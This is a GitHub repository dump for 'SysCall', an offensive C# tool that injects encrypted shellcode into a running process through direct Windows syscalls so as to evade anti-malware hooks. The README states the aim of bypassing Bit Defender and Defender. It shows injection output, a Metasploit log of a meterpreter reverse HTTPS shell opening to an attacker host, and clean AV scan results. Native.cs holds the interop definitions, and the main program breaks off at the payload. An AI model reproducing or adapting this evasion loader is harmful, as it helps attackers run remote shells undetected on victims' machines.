├── .gitignore ├── README.md ├── SysCall.sln ├── SysCall ├── App.config ├── Native.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SysCall.csproj └── Syscalls.cs └── Syscall_scan.png /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. 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I recommend reading it, it's not an easy subject, but well worth the effort! 6 | 7 | Some anti-malware products, such as Bit Defender inject user mode hooks in `ntdll.dll` when new processes are created. This means that whenever APIs such as `NtCreateThreadEx` are called in `ntdll.dll` Bit Defender intercepts the call, does its scanning, then returns execution to the thread (or more likely if there is a meterpreter payload, spoils the fun and kills the process). 8 | 9 | If we use syscalls directly we can avoid the hooks, and effectively bypassing the anti-malware scan. 10 | 11 | I updated the code to include dynamic syscall resolution, based upon the article [Dynamically resolving syscalls in C#](https://fgsec.net/posts/Dynamically-resolving-syscalls-in-CSharp/) by **FGSec**. 12 | 13 | # Codez 14 | If you just want to dig in to the code, go here: 15 | 16 | [Native.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Native.cs) - Native imports/structs from Win32 APIS 17 | 18 | [Syscalls.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Syscalls.cs) - The sycall implementation. 19 | 20 | [Program.cs](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Program.cs) - The main routine. 21 | 22 | 23 | # Important 24 | ~~Syscall codes can and do change between operating systems. You must change the the codes in the [Syscalls class](https://github.com/plackyhacker/SysCalls/blob/main/SysCall/Syscalls.cs) to match those of your target.~~ Dynamically resolving syscalls fixes this. 25 | 26 | Remember, the code looks for an instance of notepad to inject into, it is trivial to change this, or even spawn a surregate process to inject in to. 27 | 28 | # Example 29 | Execution of the code is shown below: 30 | 31 | ``` 32 | [+] Base Address of ntdll is 0x7FFE23450000 33 | [+] Target PID is 40140 34 | [+] Syscall NtOpenProcess on 40140 35 | [+] Return, NTSTATUS=Success, hProcess=0x2F4 36 | [+] Syscall NtAllocateVirtualMemory on 0x2F4 37 | [+] Return, NTSTATUS=Success, baseAddress=0x1D2A9120000 38 | [+] Syscall NtWriteVirtualMemory to 0x1D2A9120000 39 | [+] Return, NTSTATUS=Success, bytesWritten=0x736 40 | [+] Syscall NtProtectVirtualMemory on 0x1D2A9120000 41 | [+] Return, NTSTATUS=Success 42 | [+] Syscall NtCreateThreadEx to 0x1D2A9120000 43 | [+] Return, NTSTATUS=Success, hThread=0x896 44 | ``` 45 | 46 | And the meterpreter shell: 47 | 48 | ``` 49 | msf6 exploit(multi/handler) > 50 | [*] Started HTTPS reverse handler on https://192.168.1.228:443 51 | [*] https://192.168.1.228:443 handling request from 192.168.1.142; (UUID: bprg2hzm) Staging x64 payload (201308 bytes) ... 52 | [*] Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:58551) at 2021-10-05 12:53:47 +0100 53 | ``` 54 | 55 | # AV Scan Results 56 | 57 | The binary was scanned using [antiscan.me](https://antiscan.me/scan/new/result?id=2kut9uVkyXQW) on 05/10/2021. 58 | 59 | ![AV Scan](https://github.com/plackyhacker/SysCalls/blob/main/Syscall_scan.png?raw=true) 60 | 61 | # Notes 62 | 63 | Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19042) with Defender. 64 | -------------------------------------------------------------------------------- /SysCall.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31624.102 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SysCall", "SharpCall\SysCall.csproj", "{592D358E-A0AF-4703-9E7B-18E7327D01CB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|x64.ActiveCfg = Debug|x64 19 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Debug|x64.Build.0 = Debug|x64 20 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|x64.ActiveCfg = Release|x64 23 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D9845AFC-8FDB-48C2-B4A7-8EEC24E02142} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SysCall/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SysCall/Native.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SysCall 5 | { 6 | class Native 7 | { 8 | public enum NTSTATUS : uint 9 | { 10 | // Success 11 | Wait0 = 0x00000000, 12 | Success = 0x00000000, 13 | Wait1 = 0x00000001, 14 | Wait2 = 0x00000002, 15 | Wait3 = 0x00000003, 16 | Wait63 = 0x0000003f, 17 | Abandoned = 0x00000080, 18 | AbandonedWait0 = 0x00000080, 19 | AbandonedWait1 = 0x00000081, 20 | AbandonedWait2 = 0x00000082, 21 | AbandonedWait3 = 0x00000083, 22 | AbandonedWait63 = 0x000000bf, 23 | UserApc = 0x000000c0, 24 | KernelApc = 0x00000100, 25 | Alerted = 0x00000101, 26 | Timeout = 0x00000102, 27 | Pending = 0x00000103, 28 | Reparse = 0x00000104, 29 | MoreEntries = 0x00000105, 30 | NotAllAssigned = 0x00000106, 31 | SomeNotMapped = 0x00000107, 32 | OpLockBreakInProgress = 0x00000108, 33 | VolumeMounted = 0x00000109, 34 | RxActCommitted = 0x0000010a, 35 | NotifyCleanup = 0x0000010b, 36 | NotifyEnumDir = 0x0000010c, 37 | NoQuotasForAccount = 0x0000010d, 38 | PrimaryTransportConnectFailed = 0x0000010e, 39 | PageFaultTransition = 0x00000110, 40 | PageFaultDemandZero = 0x00000111, 41 | PageFaultCopyOnWrite = 0x00000112, 42 | PageFaultGuardPage = 0x00000113, 43 | PageFaultPagingFile = 0x00000114, 44 | CrashDump = 0x00000116, 45 | ReparseObject = 0x00000118, 46 | NothingToTerminate = 0x00000122, 47 | ProcessNotInJob = 0x00000123, 48 | ProcessInJob = 0x00000124, 49 | ProcessCloned = 0x00000129, 50 | FileLockedWithOnlyReaders = 0x0000012a, 51 | FileLockedWithWriters = 0x0000012b, 52 | 53 | // Informational 54 | Informational = 0x40000000, 55 | ObjectNameExists = 0x40000000, 56 | ThreadWasSuspended = 0x40000001, 57 | WorkingSetLimitRange = 0x40000002, 58 | ImageNotAtBase = 0x40000003, 59 | RegistryRecovered = 0x40000009, 60 | 61 | // Warning 62 | Warning = 0x80000000, 63 | GuardPageViolation = 0x80000001, 64 | DatatypeMisalignment = 0x80000002, 65 | Breakpoint = 0x80000003, 66 | SingleStep = 0x80000004, 67 | BufferOverflow = 0x80000005, 68 | NoMoreFiles = 0x80000006, 69 | HandlesClosed = 0x8000000a, 70 | PartialCopy = 0x8000000d, 71 | DeviceBusy = 0x80000011, 72 | InvalidEaName = 0x80000013, 73 | EaListInconsistent = 0x80000014, 74 | NoMoreEntries = 0x8000001a, 75 | LongJump = 0x80000026, 76 | DllMightBeInsecure = 0x8000002b, 77 | 78 | // Error 79 | Error = 0xc0000000, 80 | Unsuccessful = 0xc0000001, 81 | NotImplemented = 0xc0000002, 82 | InvalidInfoClass = 0xc0000003, 83 | InfoLengthMismatch = 0xc0000004, 84 | AccessViolation = 0xc0000005, 85 | InPageError = 0xc0000006, 86 | PagefileQuota = 0xc0000007, 87 | InvalidHandle = 0xc0000008, 88 | BadInitialStack = 0xc0000009, 89 | BadInitialPc = 0xc000000a, 90 | InvalidCid = 0xc000000b, 91 | TimerNotCanceled = 0xc000000c, 92 | InvalidParameter = 0xc000000d, 93 | NoSuchDevice = 0xc000000e, 94 | NoSuchFile = 0xc000000f, 95 | InvalidDeviceRequest = 0xc0000010, 96 | EndOfFile = 0xc0000011, 97 | WrongVolume = 0xc0000012, 98 | NoMediaInDevice = 0xc0000013, 99 | NoMemory = 0xc0000017, 100 | NotMappedView = 0xc0000019, 101 | UnableToFreeVm = 0xc000001a, 102 | UnableToDeleteSection = 0xc000001b, 103 | IllegalInstruction = 0xc000001d, 104 | AlreadyCommitted = 0xc0000021, 105 | AccessDenied = 0xc0000022, 106 | BufferTooSmall = 0xc0000023, 107 | ObjectTypeMismatch = 0xc0000024, 108 | NonContinuableException = 0xc0000025, 109 | BadStack = 0xc0000028, 110 | NotLocked = 0xc000002a, 111 | NotCommitted = 0xc000002d, 112 | InvalidParameterMix = 0xc0000030, 113 | ObjectNameInvalid = 0xc0000033, 114 | ObjectNameNotFound = 0xc0000034, 115 | ObjectNameCollision = 0xc0000035, 116 | ObjectPathInvalid = 0xc0000039, 117 | ObjectPathNotFound = 0xc000003a, 118 | ObjectPathSyntaxBad = 0xc000003b, 119 | DataOverrun = 0xc000003c, 120 | DataLate = 0xc000003d, 121 | DataError = 0xc000003e, 122 | CrcError = 0xc000003f, 123 | SectionTooBig = 0xc0000040, 124 | PortConnectionRefused = 0xc0000041, 125 | InvalidPortHandle = 0xc0000042, 126 | SharingViolation = 0xc0000043, 127 | QuotaExceeded = 0xc0000044, 128 | InvalidPageProtection = 0xc0000045, 129 | MutantNotOwned = 0xc0000046, 130 | SemaphoreLimitExceeded = 0xc0000047, 131 | PortAlreadySet = 0xc0000048, 132 | SectionNotImage = 0xc0000049, 133 | SuspendCountExceeded = 0xc000004a, 134 | ThreadIsTerminating = 0xc000004b, 135 | BadWorkingSetLimit = 0xc000004c, 136 | IncompatibleFileMap = 0xc000004d, 137 | SectionProtection = 0xc000004e, 138 | EasNotSupported = 0xc000004f, 139 | EaTooLarge = 0xc0000050, 140 | NonExistentEaEntry = 0xc0000051, 141 | NoEasOnFile = 0xc0000052, 142 | EaCorruptError = 0xc0000053, 143 | FileLockConflict = 0xc0000054, 144 | LockNotGranted = 0xc0000055, 145 | DeletePending = 0xc0000056, 146 | CtlFileNotSupported = 0xc0000057, 147 | UnknownRevision = 0xc0000058, 148 | RevisionMismatch = 0xc0000059, 149 | InvalidOwner = 0xc000005a, 150 | InvalidPrimaryGroup = 0xc000005b, 151 | NoImpersonationToken = 0xc000005c, 152 | CantDisableMandatory = 0xc000005d, 153 | NoLogonServers = 0xc000005e, 154 | NoSuchLogonSession = 0xc000005f, 155 | NoSuchPrivilege = 0xc0000060, 156 | PrivilegeNotHeld = 0xc0000061, 157 | InvalidAccountName = 0xc0000062, 158 | UserExists = 0xc0000063, 159 | NoSuchUser = 0xc0000064, 160 | GroupExists = 0xc0000065, 161 | NoSuchGroup = 0xc0000066, 162 | MemberInGroup = 0xc0000067, 163 | MemberNotInGroup = 0xc0000068, 164 | LastAdmin = 0xc0000069, 165 | WrongPassword = 0xc000006a, 166 | IllFormedPassword = 0xc000006b, 167 | PasswordRestriction = 0xc000006c, 168 | LogonFailure = 0xc000006d, 169 | AccountRestriction = 0xc000006e, 170 | InvalidLogonHours = 0xc000006f, 171 | InvalidWorkstation = 0xc0000070, 172 | PasswordExpired = 0xc0000071, 173 | AccountDisabled = 0xc0000072, 174 | NoneMapped = 0xc0000073, 175 | TooManyLuidsRequested = 0xc0000074, 176 | LuidsExhausted = 0xc0000075, 177 | InvalidSubAuthority = 0xc0000076, 178 | InvalidAcl = 0xc0000077, 179 | InvalidSid = 0xc0000078, 180 | InvalidSecurityDescr = 0xc0000079, 181 | ProcedureNotFound = 0xc000007a, 182 | InvalidImageFormat = 0xc000007b, 183 | NoToken = 0xc000007c, 184 | BadInheritanceAcl = 0xc000007d, 185 | RangeNotLocked = 0xc000007e, 186 | DiskFull = 0xc000007f, 187 | ServerDisabled = 0xc0000080, 188 | ServerNotDisabled = 0xc0000081, 189 | TooManyGuidsRequested = 0xc0000082, 190 | GuidsExhausted = 0xc0000083, 191 | InvalidIdAuthority = 0xc0000084, 192 | AgentsExhausted = 0xc0000085, 193 | InvalidVolumeLabel = 0xc0000086, 194 | SectionNotExtended = 0xc0000087, 195 | NotMappedData = 0xc0000088, 196 | ResourceDataNotFound = 0xc0000089, 197 | ResourceTypeNotFound = 0xc000008a, 198 | ResourceNameNotFound = 0xc000008b, 199 | ArrayBoundsExceeded = 0xc000008c, 200 | FloatDenormalOperand = 0xc000008d, 201 | FloatDivideByZero = 0xc000008e, 202 | FloatInexactResult = 0xc000008f, 203 | FloatInvalidOperation = 0xc0000090, 204 | FloatOverflow = 0xc0000091, 205 | FloatStackCheck = 0xc0000092, 206 | FloatUnderflow = 0xc0000093, 207 | IntegerDivideByZero = 0xc0000094, 208 | IntegerOverflow = 0xc0000095, 209 | PrivilegedInstruction = 0xc0000096, 210 | TooManyPagingFiles = 0xc0000097, 211 | FileInvalid = 0xc0000098, 212 | InstanceNotAvailable = 0xc00000ab, 213 | PipeNotAvailable = 0xc00000ac, 214 | InvalidPipeState = 0xc00000ad, 215 | PipeBusy = 0xc00000ae, 216 | IllegalFunction = 0xc00000af, 217 | PipeDisconnected = 0xc00000b0, 218 | PipeClosing = 0xc00000b1, 219 | PipeConnected = 0xc00000b2, 220 | PipeListening = 0xc00000b3, 221 | InvalidReadMode = 0xc00000b4, 222 | IoTimeout = 0xc00000b5, 223 | FileForcedClosed = 0xc00000b6, 224 | ProfilingNotStarted = 0xc00000b7, 225 | ProfilingNotStopped = 0xc00000b8, 226 | NotSameDevice = 0xc00000d4, 227 | FileRenamed = 0xc00000d5, 228 | CantWait = 0xc00000d8, 229 | PipeEmpty = 0xc00000d9, 230 | CantTerminateSelf = 0xc00000db, 231 | InternalError = 0xc00000e5, 232 | InvalidParameter1 = 0xc00000ef, 233 | InvalidParameter2 = 0xc00000f0, 234 | InvalidParameter3 = 0xc00000f1, 235 | InvalidParameter4 = 0xc00000f2, 236 | InvalidParameter5 = 0xc00000f3, 237 | InvalidParameter6 = 0xc00000f4, 238 | InvalidParameter7 = 0xc00000f5, 239 | InvalidParameter8 = 0xc00000f6, 240 | InvalidParameter9 = 0xc00000f7, 241 | InvalidParameter10 = 0xc00000f8, 242 | InvalidParameter11 = 0xc00000f9, 243 | InvalidParameter12 = 0xc00000fa, 244 | MappedFileSizeZero = 0xc000011e, 245 | TooManyOpenedFiles = 0xc000011f, 246 | Cancelled = 0xc0000120, 247 | CannotDelete = 0xc0000121, 248 | InvalidComputerName = 0xc0000122, 249 | FileDeleted = 0xc0000123, 250 | SpecialAccount = 0xc0000124, 251 | SpecialGroup = 0xc0000125, 252 | SpecialUser = 0xc0000126, 253 | MembersPrimaryGroup = 0xc0000127, 254 | FileClosed = 0xc0000128, 255 | TooManyThreads = 0xc0000129, 256 | ThreadNotInProcess = 0xc000012a, 257 | TokenAlreadyInUse = 0xc000012b, 258 | PagefileQuotaExceeded = 0xc000012c, 259 | CommitmentLimit = 0xc000012d, 260 | InvalidImageLeFormat = 0xc000012e, 261 | InvalidImageNotMz = 0xc000012f, 262 | InvalidImageProtect = 0xc0000130, 263 | InvalidImageWin16 = 0xc0000131, 264 | LogonServer = 0xc0000132, 265 | DifferenceAtDc = 0xc0000133, 266 | SynchronizationRequired = 0xc0000134, 267 | DllNotFound = 0xc0000135, 268 | IoPrivilegeFailed = 0xc0000137, 269 | OrdinalNotFound = 0xc0000138, 270 | EntryPointNotFound = 0xc0000139, 271 | ControlCExit = 0xc000013a, 272 | PortNotSet = 0xc0000353, 273 | DebuggerInactive = 0xc0000354, 274 | CallbackBypass = 0xc0000503, 275 | PortClosed = 0xc0000700, 276 | MessageLost = 0xc0000701, 277 | InvalidMessage = 0xc0000702, 278 | RequestCanceled = 0xc0000703, 279 | RecursiveDispatch = 0xc0000704, 280 | LpcReceiveBufferExpected = 0xc0000705, 281 | LpcInvalidConnectionUsage = 0xc0000706, 282 | LpcRequestsNotAllowed = 0xc0000707, 283 | ResourceInUse = 0xc0000708, 284 | ProcessIsProtected = 0xc0000712, 285 | VolumeDirty = 0xc0000806, 286 | FileCheckedOut = 0xc0000901, 287 | CheckOutRequired = 0xc0000902, 288 | BadFileType = 0xc0000903, 289 | FileTooLarge = 0xc0000904, 290 | FormsAuthRequired = 0xc0000905, 291 | VirusInfected = 0xc0000906, 292 | VirusDeleted = 0xc0000907, 293 | TransactionalConflict = 0xc0190001, 294 | InvalidTransaction = 0xc0190002, 295 | TransactionNotActive = 0xc0190003, 296 | TmInitializationFailed = 0xc0190004, 297 | RmNotActive = 0xc0190005, 298 | RmMetadataCorrupt = 0xc0190006, 299 | TransactionNotJoined = 0xc0190007, 300 | DirectoryNotRm = 0xc0190008, 301 | CouldNotResizeLog = 0xc0190009, 302 | TransactionsUnsupportedRemote = 0xc019000a, 303 | LogResizeInvalidSize = 0xc019000b, 304 | RemoteFileVersionMismatch = 0xc019000c, 305 | CrmProtocolAlreadyExists = 0xc019000f, 306 | TransactionPropagationFailed = 0xc0190010, 307 | CrmProtocolNotFound = 0xc0190011, 308 | TransactionSuperiorExists = 0xc0190012, 309 | TransactionRequestNotValid = 0xc0190013, 310 | TransactionNotRequested = 0xc0190014, 311 | TransactionAlreadyAborted = 0xc0190015, 312 | TransactionAlreadyCommitted = 0xc0190016, 313 | TransactionInvalidMarshallBuffer = 0xc0190017, 314 | CurrentTransactionNotValid = 0xc0190018, 315 | LogGrowthFailed = 0xc0190019, 316 | ObjectNoLongerExists = 0xc0190021, 317 | StreamMiniversionNotFound = 0xc0190022, 318 | StreamMiniversionNotValid = 0xc0190023, 319 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 320 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 321 | CantCreateMoreStreamMiniversions = 0xc0190026, 322 | HandleNoLongerValid = 0xc0190028, 323 | NoTxfMetadata = 0xc0190029, 324 | LogCorruptionDetected = 0xc0190030, 325 | CantRecoverWithHandleOpen = 0xc0190031, 326 | RmDisconnected = 0xc0190032, 327 | EnlistmentNotSuperior = 0xc0190033, 328 | RecoveryNotNeeded = 0xc0190034, 329 | RmAlreadyStarted = 0xc0190035, 330 | FileIdentityNotPersistent = 0xc0190036, 331 | CantBreakTransactionalDependency = 0xc0190037, 332 | CantCrossRmBoundary = 0xc0190038, 333 | TxfDirNotEmpty = 0xc0190039, 334 | IndoubtTransactionsExist = 0xc019003a, 335 | TmVolatile = 0xc019003b, 336 | RollbackTimerExpired = 0xc019003c, 337 | TxfAttributeCorrupt = 0xc019003d, 338 | EfsNotAllowedInTransaction = 0xc019003e, 339 | TransactionalOpenNotAllowed = 0xc019003f, 340 | TransactedMappingUnsupportedRemote = 0xc0190040, 341 | TxfMetadataAlreadyPresent = 0xc0190041, 342 | TransactionScopeCallbacksNotSet = 0xc0190042, 343 | TransactionRequiredPromotion = 0xc0190043, 344 | CannotExecuteFileInTransaction = 0xc0190044, 345 | TransactionsNotFrozen = 0xc0190045, 346 | 347 | MaximumNtStatus = 0xffffffff 348 | } 349 | 350 | [Flags] 351 | public enum ACCESS_MASK : uint 352 | { 353 | DELETE = 0x00010000, 354 | READ_CONTROL = 0x00020000, 355 | WRITE_DAC = 0x00040000, 356 | WRITE_OWNER = 0x00080000, 357 | SYNCHRONIZE = 0x00100000, 358 | 359 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 360 | 361 | STANDARD_RIGHTS_READ = 0x00020000, 362 | STANDARD_RIGHTS_WRITE = 0x00020000, 363 | STANDARD_RIGHTS_EXECUTE = 0x00020000, 364 | 365 | STANDARD_RIGHTS_ALL = 0x001F0000, 366 | 367 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF, 368 | 369 | ACCESS_SYSTEM_SECURITY = 0x01000000, 370 | 371 | MAXIMUM_ALLOWED = 0x02000000, 372 | 373 | GENERIC_READ = 0x80000000, 374 | GENERIC_WRITE = 0x40000000, 375 | GENERIC_EXECUTE = 0x20000000, 376 | GENERIC_ALL = 0x10000000, 377 | 378 | DESKTOP_READOBJECTS = 0x00000001, 379 | DESKTOP_CREATEWINDOW = 0x00000002, 380 | DESKTOP_CREATEMENU = 0x00000004, 381 | DESKTOP_HOOKCONTROL = 0x00000008, 382 | DESKTOP_JOURNALRECORD = 0x00000010, 383 | DESKTOP_JOURNALPLAYBACK = 0x00000020, 384 | DESKTOP_ENUMERATE = 0x00000040, 385 | DESKTOP_WRITEOBJECTS = 0x00000080, 386 | DESKTOP_SWITCHDESKTOP = 0x00000100, 387 | 388 | WINSTA_ENUMDESKTOPS = 0x00000001, 389 | WINSTA_READATTRIBUTES = 0x00000002, 390 | WINSTA_ACCESSCLIPBOARD = 0x00000004, 391 | WINSTA_CREATEDESKTOP = 0x00000008, 392 | WINSTA_WRITEATTRIBUTES = 0x00000010, 393 | WINSTA_ACCESSGLOBALATOMS = 0x00000020, 394 | WINSTA_EXITWINDOWS = 0x00000040, 395 | WINSTA_ENUMERATE = 0x00000100, 396 | WINSTA_READSCREEN = 0x00000200, 397 | 398 | WINSTA_ALL_ACCESS = 0x0000037F 399 | } 400 | 401 | [Flags] 402 | public enum FileShare : uint 403 | { 404 | None = 0x00000000, 405 | Read = 0x00000001, 406 | Write = 0x00000002, 407 | Delete = 0x00000004 408 | } 409 | 410 | public enum AllocationProtect : uint 411 | { 412 | PAGE_EXECUTE = 0x00000010, 413 | PAGE_EXECUTE_READ = 0x00000020, 414 | PAGE_EXECUTE_READWRITE = 0x00000040, 415 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 416 | PAGE_NOACCESS = 0x00000001, 417 | PAGE_READONLY = 0x00000002, 418 | PAGE_READWRITE = 0x00000004, 419 | PAGE_WRITECOPY = 0x00000008, 420 | PAGE_GUARD = 0x00000100, 421 | PAGE_NOCACHE = 0x00000200, 422 | PAGE_WRITECOMBINE = 0x00000400 423 | } 424 | 425 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 426 | public struct OBJECT_ATTRIBUTES 427 | { 428 | public int Length; 429 | public IntPtr RootDirectory; 430 | public IntPtr ObjectName; 431 | public uint Attributes; 432 | public IntPtr SecurityDescriptor; 433 | public IntPtr SecurityQualityOfService; 434 | } 435 | 436 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 437 | public struct UNICODE_STRING 438 | { 439 | public ushort Length; 440 | public ushort MaximumLength; 441 | public IntPtr Buffer; 442 | 443 | } 444 | 445 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 446 | public struct CLIENT_ID 447 | { 448 | public IntPtr UniqueProcess; 449 | public IntPtr UniqueThread; 450 | } 451 | 452 | [DllImport("kernel32.dll")] 453 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 454 | 455 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 456 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 457 | } 458 | } 459 | -------------------------------------------------------------------------------- /SysCall/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Cryptography; 4 | using System.Text; 5 | using System.IO; 6 | 7 | using static SysCall.Native; 8 | using static SysCall.Syscalls; 9 | 10 | namespace SysCall 11 | { 12 | public class Program 13 | { 14 | static void Main(string[] args) 15 | { 16 | // NOTE: change these to your own payload and key 17 | // https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/README.md 18 | 19 | // the encrypted payload and key 20 | string payload = 